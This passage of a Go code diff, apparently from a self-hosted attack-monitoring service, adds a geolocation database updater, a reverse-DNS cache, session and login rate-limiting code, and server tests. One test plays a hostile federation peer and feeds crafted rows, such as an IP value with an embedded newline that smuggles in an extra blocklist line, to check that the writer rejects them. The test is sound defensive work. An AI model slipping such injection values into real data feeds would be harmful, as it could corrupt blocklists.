||||
e.buf.Write(ctrlBytes(11, len(x)))
|
||||
for _, it := range x {
|
||||
e.value(it)
|
||||
}
|
||||
case map[string]any:
|
||||
keys := make([]string, 0, len(x))
|
||||
for k := range x {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
e.buf.Write(ctrlBytes(7, len(x)))
|
||||
for _, k := range keys {
|
||||
e.str(k)
|
||||
e.value(x[k])
|
||||
}
|
||||
default:
|
||||
panic("tipo não suportado no writer")
|
||||
}
|
||||
}
|
||||
|
||||
type mmEntry struct {
|
||||
pfx netip.Prefix
|
||||
val any
|
||||
}
|
||||
|
||||
type trieNode struct {
|
||||
child [2]*trieNode
|
||||
data int // índice+1 em entries; 0 = nenhum
|
||||
}
|
||||
|
||||
// buildMMDB gera um arquivo MMDB sintético.
|
||||
func buildMMDB(ipVersion, recSize int, entries []mmEntry, usePointers bool, buildEpoch uint64, dbType string) []byte {
|
||||
root := &trieNode{}
|
||||
for i, en := range entries {
|
||||
a := en.pfx.Addr().Unmap()
|
||||
bits := en.pfx.Bits()
|
||||
var raw []byte
|
||||
if a.Is4() {
|
||||
a4 := a.As4()
|
||||
if ipVersion == 6 {
|
||||
raw = append(make([]byte, 12), a4[:]...)
|
||||
bits += 96
|
||||
} else {
|
||||
raw = a4[:]
|
||||
}
|
||||
} else {
|
||||
a16 := a.As16()
|
||||
raw = a16[:]
|
||||
}
|
||||
n := root
|
||||
for b := 0; b < bits; b++ {
|
||||
bit := (raw[b/8] >> (7 - uint(b%8))) & 1
|
||||
if n.child[bit] == nil {
|
||||
n.child[bit] = &trieNode{}
|
||||
}
|
||||
n = n.child[bit]
|
||||
}
|
||||
n.data = i + 1
|
||||
}
|
||||
// herança: prefixos mais específicos não podem apagar a cobertura do mais amplo
|
||||
var fill func(n *trieNode, inh int)
|
||||
fill = func(n *trieNode, inh int) {
|
||||
if n.child[0] == nil && n.child[1] == nil {
|
||||
return
|
||||
}
|
||||
if n.data != 0 {
|
||||
inh = n.data
|
||||
}
|
||||
for i := range n.child {
|
||||
if n.child[i] == nil && inh != 0 {
|
||||
n.child[i] = &trieNode{data: inh}
|
||||
} else if n.child[i] != nil {
|
||||
fill(n.child[i], inh)
|
||||
}
|
||||
}
|
||||
}
|
||||
fill(root, 0)
|
||||
// numerar nós (pré-ordem), folhas com dados não são nós
|
||||
var nodes []*trieNode
|
||||
idx := map[*trieNode]int{}
|
||||
var walk func(n *trieNode)
|
||||
walk = func(n *trieNode) {
|
||||
idx[n] = len(nodes)
|
||||
nodes = append(nodes, n)
|
||||
for _, c := range n.child {
|
||||
if c != nil && (c.child[0] != nil || c.child[1] != nil) {
|
||||
walk(c)
|
||||
}
|
||||
}
|
||||
}
|
||||
walk(root)
|
||||
nodeCount := len(nodes)
|
||||
// dados
|
||||
enc := &mmEnc{strs: map[string]int{}, ptrs: usePointers}
|
||||
offs := make([]int, len(entries))
|
||||
for i, en := range entries {
|
||||
offs[i] = enc.buf.Len()
|
||||
enc.value(en.val)
|
||||
}
|
||||
rec := func(c *trieNode) int {
|
||||
switch {
|
||||
case c == nil:
|
||||
return nodeCount
|
||||
case c.child[0] != nil || c.child[1] != nil:
|
||||
return idx[c]
|
||||
default:
|
||||
return nodeCount + 16 + offs[c.data-1]
|
||||
}
|
||||
}
|
||||
var out bytes.Buffer
|
||||
for _, n := range nodes {
|
||||
l, r := rec(n.child[0]), rec(n.child[1])
|
||||
switch recSize {
|
||||
case 24:
|
||||
out.Write([]byte{byte(l >> 16), byte(l >> 8), byte(l), byte(r >> 16), byte(r >> 8), byte(r)})
|
||||
case 28:
|
||||
out.Write([]byte{byte(l >> 16), byte(l >> 8), byte(l), byte((l>>24)<<4) | byte(r>>24), byte(r >> 16), byte(r >> 8), byte(r)})
|
||||
case 32:
|
||||
var b [8]byte
|
||||
binary.BigEndian.PutUint32(b[:], uint32(l))
|
||||
binary.BigEndian.PutUint32(b[4:], uint32(r))
|
||||
out.Write(b[:])
|
||||
}
|
||||
}
|
||||
out.Write(make([]byte, 16))
|
||||
out.Write(enc.buf.Bytes())
|
||||
out.WriteString("\xab\xcd\xefMaxMind.com")
|
||||
meta := &mmEnc{}
|
||||
meta.value(map[string]any{
|
||||
"binary_format_major_version": u16(2),
|
||||
"binary_format_minor_version": u16(0),
|
||||
"build_epoch": u64(buildEpoch),
|
||||
"database_type": dbType,
|
||||
"ip_version": u16(ipVersion),
|
||||
"node_count": u32(nodeCount),
|
||||
"record_size": u16(recSize),
|
||||
"languages": []any{"en", "pt-BR"},
|
||||
"description": map[string]any{"en": "teste"},
|
||||
})
|
||||
out.Write(meta.buf.Bytes())
|
||||
return out.Bytes()
|
||||
}
|
||||
@@ -0,0 +1,188 @@
|
||||
package geo
|
||||
|
||||
import (
|
||||
"compress/gzip"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
maxAge = 35 * 24 * time.Hour
|
||||
maxUnpacked = 1 << 30 // teto de segurança para o arquivo descompactado
|
||||
)
|
||||
|
||||
// downloadBase é a URL base dos arquivos; variável para os testes.
|
||||
var downloadBase = "https://download.db-ip.com/free/"
|
||||
|
||||
var errNotFound = errors.New("não encontrado")
|
||||
|
||||
// StartUpdater baixa as bases na partida se faltarem ou tiverem mais de 35
|
||||
// dias e depois confere a cada interval. Roda em goroutine própria até ctx
|
||||
// terminar. Falhas ficam em Status().LastError e nunca interrompem o uso.
|
||||
func (r *Resolver) StartUpdater(ctx context.Context, interval time.Duration, client *http.Client) {
|
||||
if client == nil {
|
||||
client = &http.Client{Timeout: 15 * time.Minute}
|
||||
}
|
||||
if interval <= 0 {
|
||||
interval = 24 * time.Hour
|
||||
}
|
||||
go func() {
|
||||
r.updateAll(ctx, client, false)
|
||||
t := time.NewTicker(interval)
|
||||
defer t.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-t.C:
|
||||
r.updateAll(ctx, client, true)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// updateAll atualiza city e asn. Na partida (periodic=false) só baixa se
|
||||
// faltar ou estiver velha; nos ciclos, procura o arquivo do mês corrente.
|
||||
func (r *Resolver) updateAll(ctx context.Context, client *http.Client, periodic bool) {
|
||||
if !r.updating.CompareAndSwap(false, true) {
|
||||
return
|
||||
}
|
||||
defer r.updating.Store(false)
|
||||
var errs []string
|
||||
for _, k := range []kind{kindCity, kindASN} {
|
||||
if ctx.Err() != nil {
|
||||
return
|
||||
}
|
||||
if !periodic {
|
||||
if d := r.slot(k).Load(); d != nil && time.Since(time.Unix(int64(d.r.BuildEpoch), 0)) <= maxAge {
|
||||
continue
|
||||
}
|
||||
}
|
||||
if err := r.updateKind(ctx, client, k); err != nil {
|
||||
errs = append(errs, k.name+": "+err.Error())
|
||||
}
|
||||
}
|
||||
r.mu.Lock()
|
||||
r.lastCheck = time.Now()
|
||||
if len(errs) > 0 {
|
||||
r.lastErr = errs[0]
|
||||
for _, e := range errs[1:] {
|
||||
r.lastErr += "; " + e
|
||||
}
|
||||
} else {
|
||||
r.lastErr = ""
|
||||
}
|
||||
r.mu.Unlock()
|
||||
}
|
||||
|
||||
func (r *Resolver) updateKind(ctx context.Context, client *http.Client, k kind) error {
|
||||
now := time.Now().UTC()
|
||||
cur := time.Date(now.Year(), now.Month(), 1, 0, 0, 0, 0, time.UTC)
|
||||
for _, m := range []time.Time{cur, cur.AddDate(0, -1, 0)} {
|
||||
name := fmt.Sprintf("%s%s.mmdb", k.prefix, m.Format("2006-01"))
|
||||
final := filepath.Join(r.dir, name)
|
||||
if d := r.slot(k).Load(); d != nil && filepath.Base(d.file) >= name {
|
||||
return nil // já temos este mês (ou mais novo)
|
||||
}
|
||||
if _, err := os.Stat(final); err == nil {
|
||||
if r.install(k, final) == nil {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
err := r.download(ctx, client, k, name+".gz", final)
|
||||
if errors.Is(err, errNotFound) {
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return r.install(k, final)
|
||||
}
|
||||
return nil // nenhum arquivo publicado ainda; tenta no próximo ciclo
|
||||
}
|
||||
|
||||
func (r *Resolver) download(ctx context.Context, client *http.Client, k kind, remote, final string) error {
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, downloadBase+remote, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("User-Agent", "urutau-geo")
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode == http.StatusNotFound {
|
||||
return errNotFound
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("download %s: HTTP %d", remote, resp.StatusCode)
|
||||
}
|
||||
gz, err := gzip.NewReader(resp.Body)
|
||||
if err != nil {
|
||||
return fmt.Errorf("download %s: %w", remote, err)
|
||||
}
|
||||
defer gz.Close()
|
||||
tmp, err := os.CreateTemp(r.dir, ".tmp-"+k.name+"-*")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmpName := tmp.Name()
|
||||
defer os.Remove(tmpName) // no-op após rename
|
||||
n, err := io.Copy(tmp, io.LimitReader(gz, maxUnpacked+1))
|
||||
if cerr := tmp.Close(); err == nil {
|
||||
err = cerr
|
||||
}
|
||||
if err != nil {
|
||||
return fmt.Errorf("download %s: %w", remote, err)
|
||||
}
|
||||
if n > maxUnpacked {
|
||||
return fmt.Errorf("download %s: arquivo grande demais", remote)
|
||||
}
|
||||
// valida abrindo o MMDB e fazendo uma consulta de sanidade
|
||||
probe, err := openReader(tmpName)
|
||||
if err != nil {
|
||||
return fmt.Errorf("download %s inválido: %w", remote, err)
|
||||
}
|
||||
serr := probe.sanity()
|
||||
probe.close()
|
||||
if serr != nil {
|
||||
return fmt.Errorf("download %s inválido: %w", remote, serr)
|
||||
}
|
||||
if err := os.Chmod(tmpName, 0o644); err != nil {
|
||||
return err
|
||||
}
|
||||
return os.Rename(tmpName, final)
|
||||
}
|
||||
|
||||
// install abre path e troca a base em uso, fechando a antiga e removendo meses velhos.
|
||||
func (r *Resolver) install(k kind, path string) error {
|
||||
rd, err := openReader(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := rd.sanity(); err != nil {
|
||||
rd.close()
|
||||
return err
|
||||
}
|
||||
old := r.slot(k).Swap(&db{r: rd, file: path})
|
||||
r.cache.clear()
|
||||
r.mu.Lock()
|
||||
r.lastUpdate = time.Now()
|
||||
r.mu.Unlock()
|
||||
if old != nil {
|
||||
old.r.close() // espera lookups em andamento terminarem
|
||||
}
|
||||
for _, f := range r.listFiles(k) {
|
||||
if f != path && filepath.Base(f) < filepath.Base(path) {
|
||||
os.Remove(f)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
// Package rdns resolves reverse DNS names in the background with a cache.
|
||||
package rdns
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"net/netip"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type entry struct {
|
||||
name string
|
||||
exp time.Time
|
||||
}
|
||||
|
||||
// Resolver answers from cache and queues unknown addresses for a worker.
|
||||
type Resolver struct {
|
||||
TTL time.Duration
|
||||
Timeout time.Duration
|
||||
MaxSize int
|
||||
lookup func(ctx context.Context, ip string) ([]string, error)
|
||||
|
||||
mu sync.Mutex
|
||||
cache map[string]entry
|
||||
pending map[string]bool
|
||||
queue chan string
|
||||
}
|
||||
|
||||
// New creates a resolver using the system resolver.
|
||||
func New() *Resolver {
|
||||
r := &Resolver{TTL: 24 * time.Hour, Timeout: 2 * time.Second, MaxSize: 4000,
|
||||
cache: map[string]entry{}, pending: map[string]bool{}, queue: make(chan string, 256)}
|
||||
r.lookup = func(ctx context.Context, ip string) ([]string, error) { return net.DefaultResolver.LookupAddr(ctx, ip) }
|
||||
return r
|
||||
}
|
||||
|
||||
// Lookup returns the cached name ("" when unknown or not resolvable yet) and
|
||||
// queues the address for resolution. It never blocks.
|
||||
func (r *Resolver) Lookup(ip string) string {
|
||||
if a, err := netip.ParseAddr(ip); err != nil || a.IsPrivate() || a.IsLoopback() || a.IsUnspecified() {
|
||||
return ""
|
||||
}
|
||||
r.mu.Lock()
|
||||
e, ok := r.cache[ip]
|
||||
if ok && time.Now().Before(e.exp) {
|
||||
r.mu.Unlock()
|
||||
return e.name
|
||||
}
|
||||
if r.pending[ip] {
|
||||
r.mu.Unlock()
|
||||
return e.name
|
||||
}
|
||||
r.pending[ip] = true
|
||||
r.mu.Unlock()
|
||||
select {
|
||||
case r.queue <- ip:
|
||||
default:
|
||||
r.mu.Lock()
|
||||
delete(r.pending, ip)
|
||||
r.mu.Unlock()
|
||||
}
|
||||
return e.name
|
||||
}
|
||||
|
||||
// Run resolves queued addresses until ctx is done.
|
||||
func (r *Resolver) Run(ctx context.Context) {
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case ip := <-r.queue:
|
||||
cctx, cancel := context.WithTimeout(ctx, r.Timeout)
|
||||
names, err := r.lookup(cctx, ip)
|
||||
cancel()
|
||||
name := ""
|
||||
if err == nil && len(names) > 0 {
|
||||
name = strings.TrimSuffix(names[0], ".")
|
||||
if len(name) > 200 {
|
||||
name = name[:200]
|
||||
}
|
||||
name = strings.Map(func(c rune) rune {
|
||||
if c < 0x21 || c > 0x7e {
|
||||
return -1
|
||||
}
|
||||
return c
|
||||
}, name)
|
||||
}
|
||||
r.mu.Lock()
|
||||
if len(r.cache) >= r.MaxSize {
|
||||
r.cache = map[string]entry{}
|
||||
}
|
||||
r.cache[ip] = entry{name, time.Now().Add(r.TTL)}
|
||||
delete(r.pending, ip)
|
||||
r.mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,236 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"crypto/subtle"
|
||||
"encoding/base64"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
cookieName = "urutau_session"
|
||||
sessionTTL = 12 * time.Hour
|
||||
loginMax = 5
|
||||
loginWindow = 10 * time.Minute
|
||||
maxLimiterIP = 10000
|
||||
)
|
||||
|
||||
// tokenEqual compares in constant time regardless of length.
|
||||
func tokenEqual(a, b string) bool {
|
||||
ha, hb := sha256.Sum256([]byte(a)), sha256.Sum256([]byte(b))
|
||||
return subtle.ConstantTimeCompare(ha[:], hb[:]) == 1
|
||||
}
|
||||
|
||||
const maxSessions = 64
|
||||
|
||||
// sessions is the in-memory registry of signed-in browsers. The cookie carries
|
||||
// a random id; logging out deletes it, so a stolen cookie can be revoked. A
|
||||
// restart signs everybody out.
|
||||
type sessions struct {
|
||||
mu sync.Mutex
|
||||
ids map[string]time.Time
|
||||
}
|
||||
|
||||
func newSessions() *sessions { return &sessions{ids: map[string]time.Time{}} }
|
||||
|
||||
func (s *sessions) issue(now time.Time) (string, time.Time) {
|
||||
b := make([]byte, 32)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
id := base64.RawURLEncoding.EncodeToString(b)
|
||||
exp := now.Add(sessionTTL)
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
for k, e := range s.ids {
|
||||
if now.After(e) {
|
||||
delete(s.ids, k)
|
||||
}
|
||||
}
|
||||
for len(s.ids) >= maxSessions { // drop the oldest
|
||||
var oldK string
|
||||
var oldE time.Time
|
||||
for k, e := range s.ids {
|
||||
if oldK == "" || e.Before(oldE) {
|
||||
oldK, oldE = k, e
|
||||
}
|
||||
}
|
||||
delete(s.ids, oldK)
|
||||
}
|
||||
s.ids[id] = exp
|
||||
return id, exp
|
||||
}
|
||||
|
||||
func (s *sessions) valid(id string, now time.Time) bool {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
exp, ok := s.ids[id]
|
||||
if ok && now.After(exp) {
|
||||
delete(s.ids, id)
|
||||
return false
|
||||
}
|
||||
return ok
|
||||
}
|
||||
|
||||
func (s *sessions) revoke(id string) { s.mu.Lock(); delete(s.ids, id); s.mu.Unlock() }
|
||||
|
||||
// limiter allows loginMax failures per client inside loginWindow. IPv6
|
||||
// clients are keyed by their /64.
|
||||
type limiter struct {
|
||||
mu sync.Mutex
|
||||
fail map[string][]time.Time
|
||||
busy map[string]bool // a blocked client gets one wrong attempt in flight at a time
|
||||
now func() time.Time
|
||||
}
|
||||
|
||||
func newLimiter() *limiter {
|
||||
return &limiter{fail: map[string][]time.Time{}, busy: map[string]bool{}, now: time.Now}
|
||||
}
|
||||
|
||||
// maxFailKept bounds the timestamps kept per client.
|
||||
const maxFailKept = 64
|
||||
|
||||
// maxBlockedDelay caps the progressive delay of a blocked client.
|
||||
var maxBlockedDelay = 30 * time.Second // a var so tests can shorten it
|
||||
|
||||
// penalty is the delay of the next wrong attempt of a blocked client: 1 s,
|
||||
// doubling with every failure past the limit, at most maxBlockedDelay.
|
||||
func (l *limiter) penalty(ip string) time.Duration {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
over := len(l.recent(limiterKey(ip))) - loginMax
|
||||
if over < 0 {
|
||||
return 0
|
||||
}
|
||||
if over > 5 {
|
||||
return maxBlockedDelay
|
||||
}
|
||||
d := loginBlockedDelay << over
|
||||
if d > maxBlockedDelay {
|
||||
d = maxBlockedDelay
|
||||
}
|
||||
return d
|
||||
}
|
||||
|
||||
// acquire marks the client's single slow slot as taken; false means another
|
||||
// wrong attempt of the same client is already waiting.
|
||||
func (l *limiter) acquire(ip string) (release func(), ok bool) {
|
||||
key := limiterKey(ip)
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
if l.busy[key] {
|
||||
return nil, false
|
||||
}
|
||||
l.busy[key] = true
|
||||
return func() { l.mu.Lock(); delete(l.busy, key); l.mu.Unlock() }, true
|
||||
}
|
||||
|
||||
// limiterKey aggregates IPv6 by /64: one subscriber owns the whole prefix.
|
||||
func limiterKey(ip string) string {
|
||||
if a, err := netip.ParseAddr(ip); err == nil {
|
||||
a = a.WithZone("").Unmap()
|
||||
if a.Is6() {
|
||||
return netip.PrefixFrom(a, 64).Masked().String()
|
||||
}
|
||||
return a.String()
|
||||
}
|
||||
return ip
|
||||
}
|
||||
|
||||
func (l *limiter) recent(key string) []time.Time {
|
||||
cut := l.now().Add(-loginWindow)
|
||||
list := l.fail[key]
|
||||
i := 0
|
||||
for i < len(list) && list[i].Before(cut) {
|
||||
i++
|
||||
}
|
||||
list = list[i:]
|
||||
if len(list) == 0 {
|
||||
delete(l.fail, key)
|
||||
} else {
|
||||
l.fail[key] = list
|
||||
}
|
||||
return list
|
||||
}
|
||||
|
||||
// blocked returns how long the client must wait, or 0.
|
||||
func (l *limiter) blocked(ip string) time.Duration {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
list := l.recent(limiterKey(ip))
|
||||
if len(list) < loginMax {
|
||||
return 0
|
||||
}
|
||||
return list[0].Add(loginWindow).Sub(l.now())
|
||||
}
|
||||
|
||||
func (l *limiter) failure(ip string) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
key := limiterKey(ip)
|
||||
if _, known := l.fail[key]; !known && len(l.fail) >= maxLimiterIP {
|
||||
// full: expire the stale entries, and if everybody is fresh drop the one
|
||||
// whose latest failure is the oldest (never forget all of them at once)
|
||||
var oldK string
|
||||
var oldT time.Time
|
||||
for k := range l.fail {
|
||||
list := l.recent(k)
|
||||
if len(list) == 0 {
|
||||
continue
|
||||
}
|
||||
if last := list[len(list)-1]; oldK == "" || last.Before(oldT) {
|
||||
oldK, oldT = k, last
|
||||
}
|
||||
}
|
||||
if len(l.fail) >= maxLimiterIP && oldK != "" {
|
||||
delete(l.fail, oldK)
|
||||
}
|
||||
}
|
||||
list := append(l.recent(key), l.now())
|
||||
if len(list) > maxFailKept {
|
||||
list = list[len(list)-maxFailKept:]
|
||||
}
|
||||
l.fail[key] = list
|
||||
}
|
||||
|
||||
func (l *limiter) reset(ip string) { l.mu.Lock(); delete(l.fail, limiterKey(ip)); l.mu.Unlock() }
|
||||
|
||||
// clientIP is the address used for rate limiting and for the peer allow list.
|
||||
// X-Forwarded-For is only believed when the TCP peer is one of the trusted
|
||||
// proxies; the chain is then walked from the right, skipping trusted proxies,
|
||||
// so a client cannot choose its own address by sending the header.
|
||||
func clientIP(r *http.Request, trusted []netip.Prefix) string {
|
||||
host, _, err := net.SplitHostPort(r.RemoteAddr)
|
||||
if err != nil {
|
||||
host = r.RemoteAddr
|
||||
}
|
||||
a, err := netip.ParseAddr(host)
|
||||
if err != nil || !prefixesContain(trusted, a) {
|
||||
return host
|
||||
}
|
||||
var hops []string
|
||||
for _, h := range r.Header.Values("X-Forwarded-For") {
|
||||
hops = append(hops, strings.Split(h, ",")...)
|
||||
}
|
||||
for i := len(hops) - 1; i >= 0; i-- {
|
||||
hop := strings.TrimSpace(hops[i])
|
||||
ha, err := netip.ParseAddr(hop)
|
||||
if err != nil || ha.Zone() != "" {
|
||||
return host // garbage in the chain: fall back to the proxy itself
|
||||
}
|
||||
if !prefixesContain(trusted, ha) {
|
||||
return ha.Unmap().String()
|
||||
}
|
||||
}
|
||||
return host
|
||||
}
|
||||
|
||||
func isHTTPS(r *http.Request) bool {
|
||||
return r.TLS != nil || strings.EqualFold(r.Header.Get("X-Forwarded-Proto"), "https")
|
||||
}
|
||||
@@ -0,0 +1,243 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
|
||||
)
|
||||
|
||||
const (
|
||||
utok = "user-token-0123456789-abcdefghijklmnop"
|
||||
ptok = "peer-token-0123456789-abcdefghijklmnopq"
|
||||
)
|
||||
|
||||
func bearerGet(h http.Handler, path string) (int, string) {
|
||||
r := httptest.NewRequest("GET", path, nil)
|
||||
r.RemoteAddr = "198.51.100.9:1"
|
||||
r.Header.Set("Authorization", "Bearer "+utok)
|
||||
w := httptest.NewRecorder()
|
||||
h.ServeHTTP(w, r)
|
||||
b, _ := io.ReadAll(w.Body)
|
||||
return w.Code, string(b)
|
||||
}
|
||||
|
||||
// A hostile peer cannot inject lines, private or zoned addresses, or absurd
|
||||
// scores into the blocklist; every row is revalidated by the writer.
|
||||
func TestBlocklistRevalidatesPeerRowsAndAdmins(t *testing.T) {
|
||||
exp := store.PeerExport{V: 1}
|
||||
exp.Summary.IPs = []store.IPSummary{
|
||||
{IP: "2001:db8::1%a\n8.8.8.8", Score: 99, Strong: true},
|
||||
{IP: "0.0.0.0", Score: 99, Strong: true},
|
||||
{IP: "::ffff:10.0.0.1", Score: 99, Strong: true},
|
||||
{IP: "192.168.1.1", Score: 99, Strong: true},
|
||||
{IP: "100.64.0.9", Score: 99, Strong: true},
|
||||
{IP: "203.0.113.7", Score: 99, Strong: true},
|
||||
{IP: "1.2.3.4", Score: 1e300, Strong: true},
|
||||
{IP: "9.9.9.9", Score: 99, Strong: true, Admin: true},
|
||||
{IP: "8.8.4.4", Score: 99, Strong: true},
|
||||
{IP: "2606:4700:0:7::/64", Score: 80, Strong: true},
|
||||
{IP: "5.6.7.8", Score: 99, Strong: false},
|
||||
}
|
||||
peer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { json.NewEncoder(w).Encode(exp) }))
|
||||
defer peer.Close()
|
||||
hub := fed.NewHub([]fed.Peer{{Name: "p", URL: peer.URL}}, ptok)
|
||||
hub.Refresh(context.Background())
|
||||
st := store.New(store.Config{Name: "me", Version: "t"})
|
||||
h := New(Options{Token: utok, PeerTokens: []string{ptok}, Store: st, Hub: hub, Ignore: mustPrefixes("8.8.4.4/32")})
|
||||
code, body := bearerGet(h, "/api/v1/blocklist.txt")
|
||||
if code != 200 {
|
||||
t.Fatal(code)
|
||||
}
|
||||
lines := strings.Split(strings.TrimSpace(body), "\n")
|
||||
// 9.9.9.9 claims Admin, but admin immunity is never taken from a peer
|
||||
// (a compromised peer could shield any address), so it is listed.
|
||||
want := map[string]bool{"1.2.3.4": true, "2606:4700:0:7::/64": true, "9.9.9.9": true}
|
||||
if len(lines) != len(want) {
|
||||
t.Fatalf("blocklist lines %q", lines)
|
||||
}
|
||||
for _, l := range lines {
|
||||
if !want[l] {
|
||||
t.Fatalf("unexpected blocklist entry %q in %q", l, lines)
|
||||
}
|
||||
}
|
||||
code, js := bearerGet(h, "/api/v1/blocklist.json")
|
||||
if code != 200 || strings.Contains(js, "%a") || strings.Contains(js, "10.0.0.1") || strings.Contains(js, "1e+") {
|
||||
t.Fatalf("json: %s", js)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAnAdminWithSuccessfulLoginsNeverEntersTheBlocklist(t *testing.T) {
|
||||
st := store.New(store.Config{Name: "me", AdminUsers: []string{"admin"}})
|
||||
now := time.Now()
|
||||
st.Ingest(core.Event{Time: now, IP: "203.0.113.50", Cat: core.SSHOK, Source: "ssh", User: "admin"})
|
||||
for i := 0; i < 30; i++ {
|
||||
st.Ingest(core.Event{Time: now, IP: "45.45.45.45", Cat: core.SSHOK, Source: "ssh", User: "admin"})
|
||||
st.Ingest(core.Event{Time: now, IP: "45.45.45.45", Cat: core.SSHFail, Source: "ssh", User: "admin"})
|
||||
st.Ingest(core.Event{Time: now, IP: "45.45.45.45", Cat: core.SSHProbe, Source: "ssh"})
|
||||
}
|
||||
h := New(Options{Token: utok, Store: st})
|
||||
if _, b := bearerGet(h, "/api/v1/blocklist.txt?min_score=1"); strings.TrimSpace(b) != "" {
|
||||
t.Fatalf("blocklist with an admin address: %q", b)
|
||||
}
|
||||
_, b := bearerGet(h, "/api/v1/ip/45.45.45.45")
|
||||
if !strings.Contains(b, `"admin":true`) || strings.Contains(b, `"level":"hostile"`) {
|
||||
t.Fatalf("the admin must not be hostile: %s", b)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHugePageNumbersDoNotPanic(t *testing.T) {
|
||||
st := store.New(store.Config{Name: "me"})
|
||||
st.Ingest(core.Event{Time: time.Now(), IP: "1.2.3.4", Cat: core.Exploit, Source: "traefik", Path: "/x", Method: "GET"})
|
||||
h := New(Options{Token: utok, Store: st})
|
||||
for _, pg := range []string{"184467440737095517", "184467440737095516", "9223372036854775807", "-1", "99999999999999999999", "abc"} {
|
||||
if c, _ := bearerGet(h, "/api/v1/ips?page="+pg); c != 200 {
|
||||
t.Errorf("page=%s: %d", pg, c)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestIPv6DetailAndBlocklistUseThe64(t *testing.T) {
|
||||
st := store.New(store.Config{Name: "me"})
|
||||
now := time.Now()
|
||||
for i := 0; i < 30; i++ {
|
||||
st.Ingest(core.Event{Time: now, IP: fmt.Sprintf("2606:4700:0:7:%x::1", i+1), Cat: core.Exploit, Strong: true, Source: "traefik", Path: "/x", Method: "GET"})
|
||||
}
|
||||
h := New(Options{Token: utok, Store: st})
|
||||
if _, b := bearerGet(h, "/api/v1/blocklist.txt"); strings.TrimSpace(b) != "2606:4700:0:7::/64" {
|
||||
t.Fatalf("blocklist %q", b)
|
||||
}
|
||||
if c, b := bearerGet(h, "/api/v1/ip/2606:4700:0:7:ffff::9"); c != 200 || !strings.Contains(b, `"ip":"2606:4700:0:7::/64"`) {
|
||||
t.Fatalf("%d %s", c, b)
|
||||
}
|
||||
if c, _ := bearerGet(h, "/api/v1/ip/fe80::1%25eth0"); c != 400 {
|
||||
t.Fatalf("a zoned address is refused: %d", c)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSSEClosesWhenTheSessionIsRevoked(t *testing.T) {
|
||||
old := sseHeartbeat
|
||||
sseHeartbeat = 50 * time.Millisecond
|
||||
defer func() { sseHeartbeat = old }()
|
||||
loginBlockedDelay = 0
|
||||
ts := httptest.NewServer(federated(t, nil))
|
||||
defer ts.Close()
|
||||
cl := &http.Client{CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }}
|
||||
resp, err := cl.PostForm(ts.URL+"/login", url.Values{"token": {utok}})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cookie := resp.Cookies()[0]
|
||||
req, _ := http.NewRequest("GET", ts.URL+"/api/v1/events/stream", nil)
|
||||
req.AddCookie(cookie)
|
||||
stream, err := cl.Do(req)
|
||||
if err != nil || stream.StatusCode != 200 {
|
||||
t.Fatalf("stream: %v %v", err, stream)
|
||||
}
|
||||
defer stream.Body.Close()
|
||||
out := make(chan error, 1)
|
||||
go func() { _, err := io.Copy(io.Discard, stream.Body); out <- err }()
|
||||
lr, _ := http.NewRequest("POST", ts.URL+"/logout", nil)
|
||||
lr.AddCookie(cookie)
|
||||
if r, err := cl.Do(lr); err != nil || r.StatusCode != 303 {
|
||||
t.Fatal(err, r)
|
||||
}
|
||||
select {
|
||||
case <-out:
|
||||
case <-time.After(3 * time.Second):
|
||||
